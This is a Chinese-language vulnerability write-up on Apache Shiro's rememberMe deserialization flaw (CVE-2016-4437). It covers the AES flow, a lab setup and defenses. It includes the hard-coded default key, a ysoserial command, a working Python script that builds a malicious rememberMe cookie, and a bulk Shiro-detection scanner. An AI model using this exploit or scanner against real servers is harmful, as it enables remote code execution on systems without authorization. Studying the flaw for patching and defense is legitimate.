Shiro反序列化分析带思路及组件检测笔记
字数 1363 2025-08-18 17:33:30
Apache Shiro 反序列化漏洞分析与利用指南
漏洞概述
Apache Shiro <= 1.2.4 版本存在反序列化漏洞(CVE-2016-4437),攻击者可以通过构造恶意的rememberMe cookie值,利用Shiro默认的AES加密密钥,执行任意代码。
漏洞原理
Shiro的CookieRememberMeManager类在处理"记住我"功能时存在以下流程:
- 检索rememberMe cookie的值
- Base64解码
- 使用AES解密
- 使用Java反序列化(ObjectInputStream)
漏洞关键点:
- 使用硬编码的AES加密密钥(
kPH+bIxk5D2deZiIxcaaaA==) - 对用户可控的rememberMe值进行反序列化操作
环境搭建
- 下载Shiro 1.2.4版本的war包
- 将war包放入Tomcat的webapps目录
- 启动Tomcat,war包会自动解压
- 使用IDEA打开解压后的文件夹进行调试
IDEA调试配置:
- Run -> Edit Configurations
- 添加Tomcat Server (Local)
- 配置Tomcat路径
- 选择JRE版本
- Deployment中添加解压后的shiro文件夹
漏洞分析
加密流程分析
- 用户登录时勾选"Remember Me"
- Shiro将用户名序列化
- 使用AES加密序列化数据:
- 密钥:
kPH+bIxk5D2deZiIxcaaaA==(Base64解码后使用) - 模式:CBC
- 填充:PKCS5Padding
- IV:随机生成的16字节
- 密钥:
- 将IV与加密结果拼接
- 对拼接结果进行Base64编码
- 将结果存入rememberMe cookie
加密过程伪代码:
明文 = 序列化(用户名)
IV = 随机16字节
密文 = AES_CBC_加密(明文, 密钥, IV)
最终结果 = Base64(IV + 密文)
解密流程分析
- 从cookie中获取rememberMe值
- Base64解码
- 分离前16字节作为IV,剩余部分作为密文
- AES解密:
- 使用相同密钥
- CBC模式
- PKCS5Padding
- 对解密结果进行反序列化
解密过程伪代码:
原始数据 = Base64解码(rememberMe值)
IV = 原始数据[0:16]
密文 = 原始数据[16:]
明文 = AES_CBC_解密(密文, 密钥, IV)
反序列化(明文)
漏洞利用点
- 密钥硬编码在
AbstractRememberMeManager类中 - 攻击者可以构造恶意序列化数据,使用已知密钥加密
- Shiro会解密并反序列化攻击者提供的数据
漏洞利用
利用工具
使用ysoserial生成反序列化payload:
java -jar ysoserial.jar CommonsCollections10 "command" > payload.bin
Python利用脚本
from Crypto.Cipher import AES
import base64, uuid
import subprocess
key = 'kPH+bIxk5D2deZiIxcaaaA=='
def encrypt(target):
iv = uuid.uuid4().bytes # 随机生成16字节IV
realkey = base64.b64decode(key) # 解码密钥
mode = AES.MODE_CBC
pad = lambda s: s + ((16 - len(s) % 16) * chr(16 - len(s) % 16)).encode()
resultAES = AES.new(realkey, mode, iv)
nice = resultAES.encrypt(pad(target))
nice = iv + nice
nice = base64.b64encode(nice)
return nice.decode("utf-8")
# 生成payload
popen = subprocess.Popen('java -jar ysoserial.jar CommonsCollections10 "command"',
shell=True, stdout=subprocess.PIPE)
payload = popen.stdout.read()
# 加密payload
rememberMe_cookie = encrypt(payload)
print("恶意rememberMe cookie:", rememberMe_cookie)
利用步骤
- 使用ysoserial生成恶意序列化payload
- 使用上述脚本加密payload
- 将生成的rememberMe值作为cookie发送给目标
- 目标服务器会解密并反序列化payload,执行命令
Shiro组件检测
检测脚本
import requests
import re
import threadpool
requests.packages.urllib3.disable_warnings()
def check_shiro(url):
headers = {'Cookie': 'rememberMe=1'}
try:
# 不跟随重定向
resp_no_redirect = requests.head(url, headers=headers,
allow_redirects=False,
verify=False,
timeout=6)
# 跟随重定向
resp_with_redirect = requests.head(url, headers=headers,
verify=False,
timeout=6)
# 检查响应头
for resp in [resp_no_redirect, resp_with_redirect]:
headers = str(resp.headers)
if ('rememberMe' in headers or
'deleteMe' in headers or
re.search('^re(.*?)Me', headers)):
return True
return False
except:
return False
def main():
with open('urls.txt') as f:
urls = [line.strip() for line in f]
pool = threadpool.ThreadPool(10)
requests = threadpool.makeRequests(check_shiro, urls)
[pool.putRequest(req) for req in requests]
pool.wait()
if __name__ == "__main__":
main()
检测条件
- 发送带有rememberMe=1的cookie
- 检查响应头是否包含:
- rememberMe
- deleteMe
- 匹配正则
^re(.*?)Me的字段
- 分别检查跟随重定向和不跟随重定向的情况
防御措施
- 升级Shiro到最新版本
- 修改默认加密密钥
- 禁用rememberMe功能(如果不需要)
- 使用Java安全管理器限制反序列化
总结
Shiro反序列化漏洞利用条件简单,危害严重。通过分析加密解密流程,攻击者可以构造恶意payload实现远程代码执行。管理员应及时升级组件并修改默认配置,开发者应避免使用不安全的反序列化操作。